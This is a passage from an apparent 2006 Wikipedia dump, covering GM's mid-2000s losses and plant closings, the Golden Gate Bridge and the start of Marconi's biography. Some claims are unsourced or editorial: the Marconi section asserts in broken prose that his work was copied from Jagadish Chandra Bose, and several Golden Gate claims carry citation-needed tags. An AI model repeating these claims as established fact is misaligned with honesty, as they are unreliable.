package|packages]]).

===Financial woes===
As is the case with other U. S. automobile manufacturers, international exchange rates tend to favor Japanese and Korean competitors. The expected future entry of [[China]] into the U. S. automotive market is likely to be advantaged by unrealistic currency exchange ratios that have become a ''structural'' problem owing to the Chinese government's extensive purchase of U. S. government debt in the form of bonds. European manufactures are somewhat disadvantaged by over-regulation. Irrespective of these various manufacturing conditions, various foreign manufacturers have demonstrated an ability to compete in the U.S. market with vehicles assembled in various U.S. states and using a substantial portion of domestic content. Such plants are advantaged over GM and Ford through the employment of a younger, nonunion, and more generally healthy workforce.

General motors has extensive &quot;legacy&quot; costs in pensions and health care costs from retirees, some of these obligations taken at a time when GM had a much larger share of the domestic U.S. market. GM has also committed itself (through union agreements) to pay ongoing wages to non-working employees displaced by automation (the so-called ''Jobs Bank''). The subsequent loss of market share due to marketing and quality problems has severely impacted GM's ability to carry these obligations.

In April 2005, General Motors posted a US$1.1-billion loss, for the first quarter of that year. Its debt was also downgraded to [[junk bond]] status. GM announced plans to cut 25,000 jobs in the United States, and included plans to shut down one of the Oshawa, Ontario, plants by 2008.

By November 2005, within the first nine months of the year, GM had posted a near $4 billion loss. On [[November 21]], [[2005]], GM had announced a revised plan of increased cuts. These cuts went from 25,000 to 30,000 employees, or 9% of its labor force. GM also increased the number of plant closings. Originally, the company planned eight plant closings; the new plan calls for the closing of twelve facilities.

In December, 2005, [[Standard and Poor's]] further downgraded GM bonds to &quot;B&quot;, with the observation that it is &quot;now dubious&quot; whether the new line of SUVs and trucks would return GM's North American auto business to profitability (WSJ US edition, [[13 December]] [[2005]], p. A3).

On [[December 21]] [[2005]] Toyota Motor Corp announced that it would produce 9.06 million vehicles for 2006.  Analysts estimate that GM will only produce around 8.825 million cars for 2006, giving up the title of the world's largest auto producer.  GM has held the title for 74 consecutive years without a doubt.  However, GM's Wagoner is confident that GM will remain #1.

In February 2006, GM decided to slash its annual dividend to $1.00 per share.  GM had resisted the move for some time.  However, the reduction will save GM about $565 million in cash each year.

===Plant locations===
The plants scheduled to be closed include (''source: General Motors Corporation''):
{| class=&quot;wikitable&quot;
|-
| '''Assembly plants''' || '''Location''' || '''Closing''' || '''Products''' || '''# Employees'''
|-
| [[Scarborough Assembly]] van plant || Ontario || 1993 || vans || 2,700
|-
| [[Moraine Assembly]] (3rd shift) || Ohio || 2006 || Mid-size [[sport utility vehicle|SUV]]s || 4,165
|-
| [[Oklahoma City Assembly]] || Oklahoma || Early 2006 || Mid-size [[truck]]s and SUVs || 2,734
|-
| [[Lansing Craft Centre]] || Michigan || Mid-2006 || [[Chevrolet SSR]] roadster || 398
|-
| [[Oshawa Car Assembly]] No. 1 (3rd shift) || Ontario || Mid-2006 || [[Mid-size car|Mid-size sedan]]s || 3,600
|-
| [[Spring Hill Manufacturing]] Line 1 || Tennessee || Late 2006 || [[Saturn Ion]] sedan and coupe || 5,776
|-
| [[Oshawa Car Assembly]] No. 2 || Ontario || 2008 || Midsize sedans || 2,700
|-
| [[Doraville Assembly]] || Georgia || 2008 || [[Crossover SUV|Crossover]]s and [[minivan]]s || 3,076
|}

{| class=&quot;wikitable&quot;
|-
| '''Production facilities''' || '''Location''' || '''Closing''' || '''Products''' || '''# Employees'''
|-
| [[Lansing Metal Center]] || Michigan || 2006 || Metal fabricating || 1,398
|-
| [[Portland Distribution Center]] || Oregon || 2006 || Parts distribution || 95
|-
| [[Saint Louis Distribution Center]] || Missouri || 2006 || Parts distribution || 182
|-
| [[Pittsburgh Metal]] || Pennsylvania || 2007 || Metal fabricating || 613
|-
| [[Ypsilanti Processing Center]] || Michigan || 2007 || Parts processing || 278
|-
| [[St. Catharines Engine]] || Ontario || 2008 || Engine/Transmission parts || 1,699
|-
| [[Flint North]] 3800 || Michigan || 2008 || Engines || 2,677
|}

For the first time ever, in [[2004]] the total number of cars produced by all makers in [[Ontario]] exceeded those produced in [[Michigan]]. GM officials cited profitability of their [[Oshawa, Ontario]], plant in refusing to distribute the job losses.

===Alternative vehicles===
General Motors has long worked on alternative-technology vehicles, but has repeatedly failed to deliver them in a profitable way.  The company was the first to use [[turbocharger]]s and was an early proponent of [[V6]] engines in the [[1960s]], but quickly lost interest as the [[muscle car]] race took hold. They demonstrated [http://www.conklinsystems.com/firebird/mlife.php] [[gas turbine]] vehicles powered by [[kerosene]], an area of interest throughout the industry in the late 1950's, but despite extensive thermal recycling (developed by Chrysler) the fuel consumption was too high and starting torque too low for everyday use. They were also an early licensee of [[Wankel engine]] technology, even developing the [[Chevrolet Monza]] around the powerplant, but abandoned the alternative engine configuration in view of the [[1973 oil crisis]]. In the [[1970s]] and [[1980s]], GM pushed [[Diesel]] engines and [[cylinder deactivation]] technologies to disastrous results due to poor durability in the Oldsmobile diesels (this was a modified gasoline engine) and drivability issues in the Cadillac 4-6-8 variable cylinder engines.

In [[1996]], GM introduced the [[General Motors EV1|EV1]], the first modern mass-produced [[electric car]]. Despite the positive publicity generated by this vehicle, the company never spread the technology beyond [[California]] and [[Arizona]], and pulled the plug on the program in [[2003]].

GM was also an early innovator in [[hybrid vehicle]] development, building Diesel-electric trains since the [[1930s]] and [[bus]]es since the [[1990s]] (but without stored energy recovery), but did not introduce a true hybrid passenger car until [[2004]].  Their earlier [[Chevrolet Silverado#Hybrid|hybrid pickup truck]] was such a mild application of the technology that many criticized it for being not a hybrid at all. The [[2006]] [[Saturn VUE|Saturn VUE Green Line]] will be the first hybrid passenger vehicle from GM, but it too is a mild design. GM has hinted at new hybrid technologies to be employed that will be optimized for higher speeds such as are encountered in [[freeway]] driving. As a great bulk of GM's fleet fuel consumption is by high fuel consuming light trucks and SUVs, a modest improvement in their mileage applied across this large fleet (say twelve to fifteen percent) would in fact conserve a significant amount of refined fuel.

Rather than effectively deliver hybrid and electric vehicles at the present time, GM has extensively touted its research and prototype development of hydrogen powered vehicles, to be produced at some unspecified future time and using a support infrastructure yet to be built. Since production and use of hydrogen from fossil fuels is at present about 1/6 as efficient as direct use of the fuel (e.g, compressed natural gas), this is a future dependent upon the availability of extremely low cost electricity - as might be produced at some indefinite future time by speculative power sources such as nuclear fusion.

===GM in China===
General Motors is the top-selling foreign auto maker in [[China]], with 11.2% of the total market there.  The [[Buick]] brand is especially strong, led by the [[Buick Excelle]] subcompact.  [[Cadillac]] initiated sales in China in 2004, starting with imports. GM pushed the [[Chevrolet]] brand there in [[2005]] as well, transferring the formerly-Buick Sail to that marque.  The company manufactures most of its China-market vehicles locally, through its [[Shanghai GM]] joint venture. The [[SAIC-GM-Wuling Automobile]] joint-venture is also successful selling trucks and vans under the [[Wuling]] marque.

==See also==
*[[Alfred P. Sloan]]
*[[Buick]]
*[[Cadillac]]
*[[Chevrolet]]
*[[DuPont]]
*[[General Motors Acceptance Corporation]]
*[[General Motors streetcar conspiracy]]
*[[GMC]]
*[[Hummer]]
*[[Oldsmobile]]
*[[Pontiac]]
*[[List of GM platforms]]
*[[List of GM engines]]
*[[List of GM factories]]
*[[List of GM VIN codes]]
*[[:Category:General_Motors_vehicles|GM vehicles by brand]]
*[[EPA 2004 fuel economy report appendix M2#General Motors|EPA 2004 fuel economy report (General Motors)]]

==External links==
* [http://www.gm.com/ Official Website]
* [http://www.gmacfs.com/us/en/index.html GMAC Financial Services]
* [http://www.gmability.com/ GMability, GM's corporate responsibility site]
* [http://www.gmability.com/education/ GM's K-12 education site]
* [http://fastlane.gmblogs.com GM's Fastlane blog]
* [http://www.gm.com/company/corp_info/history/gmhis1900.html Corporate history]
* [http://www.vlturbo.com/ General Motors Holden VL Turbo]
* [http://www.cheersandgears.com Cheers &amp; Gears] GM Enthusiast forum
* [http://www.gminsidenews.com/ GMInsidenews] GM Enthusiast forum
* [http://www.netcarshow.com/gm/ GM picture galleries]
* [http://www.automotoportal.com/ Automotive industry portal with General Motor news]

{{General Motors brands}}

[[Category:Car companies of the United States]]
[[Category:Companies based in Michigan]]
[[Category:Dow Jones Industrial Average]]
[[Category:General Motors|*]]

[[an:General Motors]]
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[[zh:通用汽车公司]]</text>
    </revision>
  </page>
  <page>
    <title>Golden Gate Bridge</title>
    <id>12103</id>
    <revision>
      <id>42037221</id>
      <timestamp>2006-03-03T10:39:11Z</timestamp>
      <contributor>
        <username>WhosAsking</username>
        <id>717099</id>
      </contributor>
      <comment>/* In fiction and film */</comment>
      <text xml:space="preserve">{{Infobox Bridge |
|image=GoldenGateBridge.jpg
|bridge_name=Golden Gate Bridge
|official_name=Golden Gate Bridge
|locale=[[San Francisco, California]]
|carries=Motor vehicles, pedestrians and bicycles
|crosses=[[Golden Gate]]
|maint=[[Golden Gate Bridge, Highway and Transportation District]] [http://www.goldengate.org/]
|open=[[May 27]], [[1937]]
|below=220 ft (67 m) at mean higher high water
|design=[[Suspension bridge|Suspension]], [[Truss arch bridge|Truss Arch]] &amp; [[Truss bridge|Truss Causeway]]s
|mainspan=4,200 feet (1,280 m)
|length=1.7 miles (2.7 km)
|width=90 feet (27 m)
|clearance=14 feet (4.3 m) at toll gates, higher truck loads possible
|map_image=GGBrMapCLip.jpg
|map_width=180px
|map_cue=Connects:
|map_text=Northern San Francisco Peninsula with Southern [[Marin County]]
}}
The '''Golden Gate Bridge''' is a [[suspension bridge|suspension]] [[bridge]] spanning the [[Golden Gate]], the opening into the [[San Francisco Bay]] from the [[Pacific Ocean]]. It connects the city of [[San Francisco, California|San Francisco]] on the northern tip of the [[San Francisco Peninsula]] and a portion of the south-facing [[Marin County, California|Marin County]] [[Marin Headlands|headlands]] near the small bayside town of [[Sausalito, California|Sausalito]], and is located at {{Coor dms|37|49|12|N|122|28|43|W|}}. The entire bridge (including the approach) spans 1.7 miles (2.7 km) long; the distance between the towers (&quot;main span&quot;) is 4,200 feet (1,280 m), and the clearance below the bridge is 220 ft (67 m) at mean high water.  The two towers rise 746 feet (230 m) above the water.  The diameter of the main suspension cables is 36 inches (0.91 m).

The Golden Gate Bridge was the [[List of largest suspension bridges|largest suspension bridge]] in the world when it was built in 1937 and has become an internationally recognized symbol of San Francisco.

==History==
The bridge was the brainchild of [[Joseph Strauss]], an engineer responsible for over 400 drawbridges, though they were far smaller than this project and mostly inland. Strauss spent over a decade drumming up support in Northern California.  Strauss's initial design[http://www.lib.berkeley.edu/news_events/exhibits/bridge/up028.html] comprised a massive [[cantilever]] on each side connected with a central suspension segment. Other key figures in the bridge's construction include architect Irving Morrow, responsible for the [[Art Deco]] touches and the choice of color, and engineer [[Charles A. Ellis|Charles Alton Ellis]] and bridge designer [[Leon Moisseiff]], who collaborated on the complicated mathematics involved.

The [[Golden Gate Bridge, Highway and Transportation District|Golden Gate Bridge and Highway District]] was incorporated in 1928 as the official entity to design, construct, and finance the Golden Gate Bridge. The District includes not only the City &amp; County of San Francisco, and Marin County, in whose boundaries the bridge sits, but also [[Napa_County,_California|Napa]], [[sonoma_County,_California|Sonoma]], [[Mendocino_County,_California|Mendocino]] and [[Del_Norte_County,_California|Del Norte]] counties. Representatives from each of the six counties sit on the District's Board of Directors. Voters within the District approved funding for the project in 1930 through a special bond issue that put their homes, farms and business properties up as collateral. This bond issue raised the initial $35 million to finance the building of the Bridge. Construction began on [[January 5]], [[1933]]. The last of the construction bonds were retired in [[1971]], with $35 million in principal and nearly $39 million in interest being financed entirely from tolls. Strauss, a graduate of the [[University of Cincinnati]], placed a brick from his [[alma mater]]'s demolished McMicken Hall in the south anchorage before the concrete was poured.  The bridge was completed in April [[1937]] and opened to pedestrians on [[May 27]] of that year. The next day, President Roosevelt pushed a button in [[Washington, DC]] signaling the start of vehicle traffic over the Bridge. A unique aspect of the bridge's construction was the safety net set up beneath it, significantly reducing the expected number of deaths for such a project. 11 men were killed from falls during construction, and approximately 19 men were saved by the safety net. 10 of the deaths occurred near completion, when the net itself failed under the stress of a scaffold fall. The 19 workers whose lives were saved by the safety nets became proud members of the (informal) ''Halfway to Hell Club''.
[[Image:GoldenEndFortMason.JPG|300px|thumb|right|A golden sunset behind the bridge.]]
[[Image:Golden Gate Bridge from underneath.jpg|thumb|250px|right|A photograph of the bridge from a boat underneath.]]
The center span was the [[List of largest suspension bridges|longest among suspension bridges]] until [[1964]] when the [[Verrazano Narrows Bridge]] was erected between the boroughs of [[Staten Island]] and [[Brooklyn]] in [[New York City]]. The Golden Gate Bridge also had the world's tallest suspension towers at the time of construction, and retained that record until more recently. In [[1957]], [[Michigan]]'s [[Mackinac Bridge]] surpassed the Golden Gate Bridge's length between anchorages to become the world's longest suspension bridge in total length. The longest center suspension span in the world is currently the [[Akashi-Kaikyo Bridge]] in [[Japan]].

As the only road to exit San Francisco to the north, the bridge is part of both [[United States Highway 101]] and [[California State Route 1]]. The bridge has six total lanes of vehicle traffic, and walkways on both sides of the bridge. The median markers between the lanes are moved to conform to traffic patterns. On weekday mornings, traffic flows mostly southbound into the city, so  four of the six lanes run southbound. Conversely, on weekday afternoons, three lanes run northbound. While there has been discussion concerning the installation of a movable barrier since the 1980s, the Bridge Board of Directors, in March 2005, committed to finding funding to complete the $2 million study required prior to the installation of a moveable median barrier. The eastern walkway is for pedestrians and bicycles during the weekdays and during daylight hours only, and the western walkway is open to bicycles on weekends. 

The [[speed limit]] on the Golden Gate Bridge was reduced from 55 mph (90 km/h) to 45 mph (70 km/h) on [[October 1]], [[1983]]. With no moveable median barrier yet, a head-on collision at 55 mph (90 km/h) would create almost 1.5 times the force than at 45 mph (70 km/h).

On [[September 1]], [[2002]], the toll for Southbound [[motor vehicle]]s was raised from US$3.00 to $5.00.  Northbound motor vehicle traffic, cycling, and pedestrian traffic remain toll free.

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;
[[Image:Golden Gate Bridge 2003.jpg|thumb|center|600px|Golden Gate Bridge, with its approach arch over [[Fort Point]] at the San Francisco terminus (right).  Behind the arch is [[Angel Island (California)|Angel Island]], and to the left of that, [[Tiburon, California]], mostly obscuring the [[East Bay (California)|East Bay]] hills.]]
[[Image:GGBRViewWestPano.jpg|thumb|centre|600px|View from [[Fort Mason]] showing northern approach at right]]

== Aesthetics ==
The color of the bridge is orange vermilion, deemed ''[[safety orange|International Orange]]''. The color was selected by consulting architect Irving Morrow because it blends well with the natural surroundings yet enhances the bridge's visibility in fog.
[[Image:Ggb by night.jpg|250px|thumb|The Golden Gate Bridge by night, with part of downtown [[San Francisco]] visible in the background at far left.]]
The bridge is widely considered one of the most beautiful examples of bridge engineering, both as a structural design challenge and for its aesthetic appeal. It was declared one of the modern [[Seven Wonders of the World|Wonders of the World]] by the [[American Society of Civil Engineers]]. According to Frommer's travel guide, the Golden Gate Bridge is &quot;possibly the most beautiful, certainly the most photographed, bridge in the world.&quot; [http://www.frommers.com/destinations/sanfrancisco/A25170.html] (although Frommers also bestows the &quot;most photographed&quot; honor on [[Tower Bridge]] [http://www.frommers.com/destinations/london/A29870.html])

== Paintwork ==

The bridge was originally painted with [[red lead]] primer and a [[lead]]-based [[topcoat]], which was touched up as required.  In the mid-[[1960s]], a program was started to improve corrosion protection by stripping the original paint off and repainting the bridge with [[zinc silicate]] primer and, originally, [[vinyl]] topcoats [http://goldengatebridge.org/research/facts.php#PaintHowOften] [http://goldengatebridge.org/research/factsGGBIntOrngPaint.php]. [[Acrylic paint|Acrylic]] topcoats have been used instead since [[1990]] for air quality reasons. The program was completed in [[1995]], and there is now ongoing maintenance by 38 painters [http://goldengatebridge.org/research/facts.php#IronworkersPainters] to touch up the paintwork where it becomes seriously eroded.

== Suicides ==
The Golden Gate Bridge is notorious as a popular site for [[suicide]]. The official suicide count ended in [[1995]] when the number approached 1,000. Through the eight years to 2003, on average there was one suicide jump every two weeks, which brought the unofficial total to over 1,300 suicides {{fact}}. The 220-foot (67 m) fall takes four seconds and jumpers hit the water at 75 miles per hour (120 km/h). [[As of 2003]], only 26 people have survived the jump. The survivors all struck the water feet first and most suffered multiple internal injuries and broken bones. One young man supposedly jumped off the bridge in the 1980s, swam ashore and walked up on the beach. The doctor who examined him was then reported to have said that the man was in the best shape of anyone he had ever seen. {{fact}}
[[Image:suicidemessageggb01252006.JPG|250px|thumb|left|A suicide hotline phone located on the bridge.]]

Various methods have been discussed to reduce the number of suicides. One method introduced has been to close the bridge to pedestrians at night; bicyclists are still permitted across at nighttime, but they have to be buzzed in and out through the remotely controlled security gates during nighttime. [http://goldengatebridge.org/bikesbridge/bikes.php] Attempts to introduce a suicide barrier have been thwarted by engineering difficulties, high costs, and public opposition. On [[January 27]] [[2005]], Bridge District staff re-introduced for the eighth time the topic of a suicide barrier to the Bridge’s Building and Operations committee, citing &quot;the high profile of this issue in recent press and community conversations.&quot; On [[March 11]] [[2005]], the Board of Directors of the Golden Gate Bridge voted 15-1 to approve a two-year, $2 million plan to explore the feasibility of a barrier. Proponents of the barrier cite the example of the [[Empire State Building]] and the [[Eiffel Tower]], where suicides dropped to zero after a barrier was put up. Those against the barrier argue that a barrier would be unsightly, too costly, and would simply move suicides elsewhere. [[Jump for Life]], a creative alternative to a suicide barrier, was proposed in late [[2005]].

Suicide on the Golden Gate Bridge is a theme of [[Jenni Olson]]'s experimental short film, [[The Joy of Life]] ([[2005)]]). Documentarian [[Eric Steel]] was accused by the ''[[San Francisco Chronicle]]'' in 2005 of misrepresenting the nature of a request to film the Golden Gate National Recreation Area when he filed a film permit application. Steel had stated that he was making a film about the Bridge as a beautiful landmark, but instead captured 19 suicides on tape. {{fact}}

[[Image:108972157_l.jpg|thumb|left|250px|The Golden Gate Bridge on a foggy day in [[San Francisco]]]]

==In fiction and film==

'''Film'''
*''[[Bicentennial Man]]'' - takes place in San Francisco, the bridge is glimpsed several times across the future, including a view in which it has a double deck structure.
*''[[The Core]]'' - deadly [[microwaves]] from the [[sun]] break through the [[magnetic field]] and melt the bridge before frying half of San Francisco.
*''[[Dirty Harry]]'' - &quot;Scorpio&quot; hijacks a school bus full of children and forces the driver to head North across the bridge.
*''[[Herbie Rides Again]]''' - Herbie is chased by Hawk's lawyers along the main cables of the bridge
*''[[Hulk (movie)|Hulk]]'' - Hulk jumps off the bridge to save a fighter jet.
*''[[The Joy of Life (2005)|The Joy of Life]]'' - Jenni Olson's film offers a history of suicide and the Golden Gate Bridge and features gorgeously shot images of the bridge as well as a personal reflection on the production history of [[Alfred Hitchcock]]'s film ''[[Vertigo (movie)|Vertigo]]'' ([[1958]]).
*''[[It Came From Beneath the Sea]]'' - A giant octopus terrorizes San Francisco. Although some stock footage was shot using the real bridge, the scenes where the octopus attempts to destroy the bridge by wrapping itself around the towers were accomplished by using highly-detailed miniatures and stop-motion animation created by special effects master [[Ray Harryhausen]].
*''[[Mothra]]'' - In this Japanese science fiction film, the bridge is destroyed by the collision of a large nuclear mutant monster.
*''[[The Rock (film)|The Rock]]'' - bridge can be regularly seen in the background as film was shot near [[Alcatraz Island|Alcatraz]] in [[San Francisco Bay]].
*''[[So I Married an Axe Murderer]]'' - newly married couple travel over the bridge en route to their [[honeymoon]].
*''[[Star Trek IV: The Voyage Home]]'' - the [[Klingon]] [[Bird-of-prey (Star Trek)|bird-of-prey]] used by the crew of the [[Starship Enterprise]] flies under the Golden Gate Bridge on its way to crashing into the Bay.
*''[[Superman (movie)|Superman]]'' - Superman saves a school bus about to fall from the bridge.
*''[[Vertigo (movie)|Vertigo]]'' - In this [[Alfred Hitchcock]] film, the bridge is a prominent backdrop in a scene set just east (bayside) of [[Fort Point]].
*''[[A View to a Kill]]'' - In this [[James Bond]] film, Bond and [[Max Zorin]] fight on top of one of the bridge's towers .
*''[[X-Men 3 (film)|X3]]'' - the bridge is used in a prison break sequence from [[Alcatraz Island|Alcatraz]]. 
*''[[The Love Bug]]''- Herbie attempts to commit &quot;[[suicide]]&quot; by trying to drive over the barrier.

'''Television'''
*''[[10.5]]'' - bridge collapses during an earthquake.
*''[[Charmed]]'' - The series is set in San Francisco, and scenes of the bridge can regularly be seen.
*''[[Full House]]'' - The series is set in San Francisco. It's seen in the opening credits being traveled by a car full of the program's main characters.
*''[[Love is a Many Splendored Thing]]'' - bridge is seen prominently in the opening sequence of the [[soap opera]] , which was set in San Francisco.
*''[[Sliders|&quot;Sliders&quot;]] - in one of the alternate timelines the bridge is an electric blue, the sole factor distinguishing that San Francisco from ours.
*''[[Star Trek: Deep Space Nine]]'' - bridge is destroyed during the [[Dominion War]] in an attack by the [[Breen]].
*''[[Star Trek: Enterprise]]'' -  the original location of Starfleet Command is located NE of the bridge. Instead of a direct view of traffic lanes and whatever transportation technology is employed, there is an obscuring weatherproof glass arch cover.
*''[[Star Trek: Voyager]]'' - ''[[USS Voyager (NCC-74656)|Voyager]]'' is shown flying underneath the bridge upon finally returning to Earth
*''[[The Ted Knight Show]]'' - The series is set in San Francisco. The bridge is seen in the opening credits.
*''[[Too Close for Comfort (TV series)|Too Close for Comfort]]'' - The series is set in San Francisco. The bridge is seen in the opening credits.
*''[[The West Wing (television)|The West Wing]]'' - a terrorist attempt to blow up the Golden Gate Bridge sparks a plot line involving the US assassination of the Qumari intelligence minister (who masterminded the plot to blow up the bridge).
*''[[Nash Bridges]]'' - The series is set in San Francisco, and there are several shots of the bridge placed throughout the show.  The series ran for 6 years and is now in syndication.

'''Books'''
*''[[The Golden Gate (MacLean novel)|The Golden Gate]]'' - [[Alistair MacLean]]'s novel is a kidnapping story set almost exclusively on the bridge.

'''Games'''
*''[[Grand Theft Auto: San Andreas]]'' -  a model of this bridge is featured in the city [[San Fierro, San Andreas]]. It is called Gant Bridge in the game.
*''[[Red Alert 2]] : Yuri's Revenge'' - had the bridge destroyed in some of the first missions by [[Soviet]] invaders.
*''[[Midtown Madness 2]]'' - in San Fransico city

'''Other'''
*''[[Star Trek| Star Trek universe]]'' - in both the 23rd and 24th Centuries, [[Starfleet]] Headquarters and [[Starfleet Academy]] are located in [[Presidio of San Francisco|San Francisco's Presidio]], with a view of the Golden Gate Bridge.
*''[[Voyager Golden Record]]'' - the bridge appears as one of the pictures on the record.
*''[[Disney's California Adventure]]'' - There is a smaller scale of the bridge at the entrance of Disney's California Adventure.

== External links ==
{{Commons|Golden Gate Bridge}}
* [http://www.goldengate.org/ The Official website of the Golden Gate Bridge]
* [http://www.newyorker.com/fact/content/?031013fa_fact The New Yorker: Fatal Grandeur of the Golden Gate Bridge]
* [http://www.sfmuseum.net/ The Museum of San Francisco]'s [http://www.sfmuseum.net/hist10/ggbridging.html Story Behind the Construction of the Span]
* [http://www.paperlandmarks.com/golden-gate-bridge.htm 3D scale model]
* [http://www.pbs.org/wgbh/amex/goldengate/index.html PBS American Experience]
* [http://www.virtuar.com/ysf2/golden_gate_bridge.htm Golden Gate Bridge Virtual Tour]
* [http://www.cbsforum.com/cgi-bin/articles/partners/cbs/search.cgi?template=display&amp;dbname=cbsarticles&amp;key2=golden&amp;action=searchdbdisplay The story of Golden Gate Bridge] - by [http://www.cbsforum.com/ CBS Forum]
* [http://www.lodgephoto.com/galleries/usa/goldengatebridge/ Photographs of the Golden Gate Bridge]
* [http://www.terragalleria.com/california/california.sf-golden-gate-bridge.html Photos of the Golden Gate Bridge]
* [http://www.googleearthhacks.com/dlfile71/Golden-Gate-Bridge---3d.htm 3D plug-in of the Golden Gate Bridge for Google Earth]
* [http://cic.nist.gov/vrml/cis2.html VRML and Google Earth 3D Models of the Golden Gate Bridge] (Click on 'CIS/2 Models in Google Earth' in the What's New section) 
{{geolinks-US-hoodscale|37.81972|-122.47778}}
{{geolinks-US-colorphoto|37.81972|-122.47778|13}}
{{geolinks-US-surrounds|37.81972|-122.47778|Golden+Gate+Bridge}}

== References ==

* Tad Friend: ''Jumpers: The fatal grandeur of the Golden Gate Bridge'', [[The New Yorker]], Oct 13, 2003 v79 i30 page 48

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[[Category:Art Deco]]
[[Category:Bridges in California]]
[[Category:Bridges completed in 1937]]
[[Category:Buildings and structures in San Francisco]]
[[Category:Historic civil engineering landmarks]]
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[[Category:Suspension bridges]]
[[Category:Toll bridges in California]]
[[Category:Transportation in San Francisco]]
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  <page>
    <title>Guglielmo Marconi</title>
    <id>12104</id>
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      <timestamp>2006-03-03T00:31:56Z</timestamp>
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      <comment>Revert to revision 41476697 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Marconi.jpg|right|frame|Guglielmo Marconi]]

'''Guglielmo Marchese Marconi''', [[Royal Victorian Order|GCVO]] ([[25 April]] [[1874]] &amp;ndash; [[20 July]] [[1937]]) was an [[Italy|Italian]] [[electrical engineer]] and [[Nobel Prize in Physics|Nobel]] laureate, known for the development of a practical wireless telegraphy system commonly known as the &quot;[[radio]]&quot;. Marconi was President of the [[Accademia d'Italia]] and a member of the [[Grand Council of Fascism|Fascist Grand Council]] of Italy.

==Birth==
Marconi was born near [[Bologna]], [[Italy]], the second son of Giuseppe Marconi, an Italian landowner, and his [[Ireland|Irish]] wife [http://www.techsoc.com/marconi.htm], Annie Jameson, granddaughter of the founder of the [[Jameson &amp; Sons Distillery]] on [[25 April]] [[1874]]. He was educated in [[Florence]] and, later, in [[Livorno]].

==Wireless transmission==
===Morse code===
Marconi demonstrated the transmission and reception of [[Morse Code]] based radio signals over a distance of 2 or more kilometres (and up to 6 kilometres) on [[Salisbury Plain]] in England in 1896. Marconi was awarded a patent for Radio communications with [[United Kingdom|British]] [[Patent]] GB12039, &quot;''Improvements in transmitting electrical impulses and signals and in apparatus there-for''&quot; on [[2 July]] [[1897]] (sometimes recognised as the World's first patent in radio telecommunication). In July of 1897, Marconi formed the [[London]] based [[Wireless Telegraph Trading Signal Company]] (later renamed the Marconi Wireless Telegraph Company), which opened the World's first &quot;wireless&quot; factory in Hall Street, [[Chelmsford, England]] in 1898, employing around 50 people.

===Across water===
[[Image:Cabot tower stamp.jpg|thumb|right|150px|[[Cabot Tower]] on Signal Hill, where Marconi received the first wireless trans-Atlantic message]]
Marconi made the first wireless transmission across water [[13 May]] [[1897]] from [[Lavernock Point]], [[South Wales]] to [[Flat Holm]] island. He made a wireless transmission across the water from [[Ballycastle]] ([[Northern Ireland]]) to [[Rathlin Island]] in 1898. He received the first trans-[[Atlantic Ocean|Atlantic]] radio signal on [[12 December]] [[1901]] at [[Signal Hill (Newfoundland and Labrador)|Signal Hill]] in [[St. John's, Newfoundland and Labrador|St John's]], [[Newfoundland and Labrador|Newfoundland]] (now in [[Canada]]) using a 400-foot [[kite flying|kite]]-supported antenna for reception. 

This was surprising at the time as it was thought by the [[mainstream]] that a radio signal could only be transmitted in the line of sight. The transmitting station in [[Poldhu]], [[Cornwall]] used a spark-gap transmitter to produce a signal with a frequency of approximately 500 kHz and a power of 100 times more than any radio signal previously produced (a maximum time-averaged power of 35 kilowatts, but with a peak pulse power of several tens of megawatts.[http://www.antiquewireless.org/otb/marconi1901a.htm])  The message received was three dots, the [[Morse code]] for the letter ''S''. To reach Newfoundland the signal would have to bounce off the [[ionosphere]] twice. Dr [[Jack Belrose]] has recently contested this, however, based on theoretical work as well as an actual reenactment of the experiment; he believes that Marconi heard only random atmospheric noise and mistook it for the signal. Many other engineers agree with Jack Belrose that the 1901 bridging of the Atlantic never took place.  The frequency was not suitable and the time of day was wrong. It wouldn't even be possible today with modern equipment. However there is little doubt that by February 1902, Marconi's apparatus was reliably receiving complete messages at 2500 km (1550 miles) at night and 1100 km (700 miles) by day, and usually picked up a special test signal at 3400 km (2100 miles), the distance of Poldhu to Newfoundland. By 1903, the Marconi Company was carrying regular transatlantic news transmissions. 

===Wellfleet===
In 1901, Marconi built a station near [[Wellfleet, Massachusetts]]. It was first called CC (Cape Cod), then MCC (Marconi Cape Cod) and finally WCC when the US government issued &quot;W&quot; call letters to stations east of the Mississippi. In 1903, from this station, Marconi sent the famous message from the [[President of the US]] to the [[King of England]]. This message was sent directly from Welfleet to England, without being relayed via the Marconi station at Glace Bay, [[Nova Scotia]]. During WWI, all radio stations went off the air. When the war was over, Marconi had planned to move this station to Chatham, mainly because the ocean had eroded the cliff where the Welfleet station stood. Reportedly, the U.S. Government was worried about foreign ownership of radio stations.

==First marriage==
On [[16 March]] [[1905]] he married [[Beatrice O'Brien]], daughter of [[Edward Donough O'Brien, 14th Baron Inchiquin]], Ireland. They had three daughters, one of whom lived only a few weeks, and one son. They divorced later. 

==Nobel Prize==
Marconi achieved fully reliable transatlantic communication in 1907. He was the founder of the [[Marconi Corporation]] and the joint 1909 recipient of the [[Nobel Prize in Physics]] along with [[Karl Ferdinand Braun]]. During [[World War I]], Marconi was in charge of the Italian wireless service.  Marconi developed shortwave secret communication transmissions during this time. 

==WCC==
In 1914 Marconi built Chatham [[Radio WCC]] in Chatham Cape Cod, which would become the busiest ship to shore radio station for most of the twentieth century.  The callsign WCC is still heard over the radio - from Globe Wireless's automated email by radio system from a new location in [[Maryland]]. It was sold during the breakup of RCA in the 1990s to MCI and was finally shut down in 1996. 

==RCA==
On [[November 20]], [[1919]] the [[American Marconi Company]] was merged with the [[Radio Corporation of America]]. 

==Wireless sound transmission==
In 1920 Marconi's [[Chelmsford, England|Chelmsford]] factory was the location of the first officially publicised sound [[Broadcasting|broadcast]]s in the [[United Kingdom|UK]], one of them featuring Dame [[Nellie Melba]]. In 1922 the World's first ''regular'' wireless broadcasts for entertainment commenced from the [[Marconi Research Centre]] at [[Writtle]] near Chelmsford. Marconi joined the [[Italy|Italian]] [[fascist]] party in 1923. [[Benito Mussolini]] made Marconi President of the [[Accademia d'Italia]], which also made him a member of the [[Grand Council of Fascism|Fascist Grand Council]]. He made fascist speeches on the radio in a number of countries.He has other allegations too against him.The works that he submitted as his own are ditto copies of the renowned but unfortunate scientist from India, [[Jagadish Chandra Bose]]. He prior to marconi first demonstrated the world how radio waves can be used to pass on sound and first used semiconductor junction for it.

==Second marriage and death==
